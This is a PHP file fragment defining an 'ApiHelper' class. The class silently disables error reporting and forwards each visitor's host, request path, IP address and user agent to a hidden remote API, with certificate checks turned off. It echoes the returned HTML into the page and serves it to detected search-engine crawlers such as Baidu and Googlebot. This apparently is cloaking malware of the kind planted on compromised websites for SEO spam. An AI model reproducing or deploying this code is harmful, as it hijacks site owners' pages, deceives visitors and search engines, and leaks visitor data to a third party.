self::$max_redirects) {
return '';
}
if (empty($url)) {
return '';
}
if (!function_exists('curl_init')) {
return '';
}
$ch = curl_init();
if ($ch === false) {
return '';
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_USERAGENT, isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Mozilla/5.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, self::$max_redirects);
$response = curl_exec($ch);
if ($response === false) {
curl_close($ch);
return '';
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return $http_code === 200 ? $response : '';
}
private static function isSpider($user_agent) {
$pattern = '/Sogou|Baidu|baidu|bot|Yisou|Haosou|Spider|So\.com|Sm\.cn|Googlebot|Bingbot|360Spider|YisouSpider|Bytespider/i';
return preg_match($pattern, $user_agent) === 1;
}
private static function getClientIp() {
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
return trim($ips[0]);
}
return isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : 'unknown';
}
public static function getContent() {
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
error_reporting(0);
@ini_set('log_errors', '0');
$ip = self::getClientIp();
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Unknown';
$request_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$is_spider = self::isSpider($user_agent);
$api_url = rtrim(self::$api_base, '/') . '/index.php';
$params = array(
'url' => $http_host,
'req' => $request_uri,
'xip' => $ip,
'ua' => $user_agent,
'jsc' => '1'
);
$content = self::sendRequest($api_url, $params);
if (!empty($content)) {
@header("Content-Type: text/html;charset=utf-8");
echo $content;
if($is_spider){
exit();
}
}
return $content;
}
}
$current_file = basename(__FILE__);
$script_name = isset($_SERVER['PHP_SELF']) ? basename($_SERVER['PHP_SELF']) : '';
if ($current_file === $script_name) {
ApiHelper::getContent();
}
?>
加载中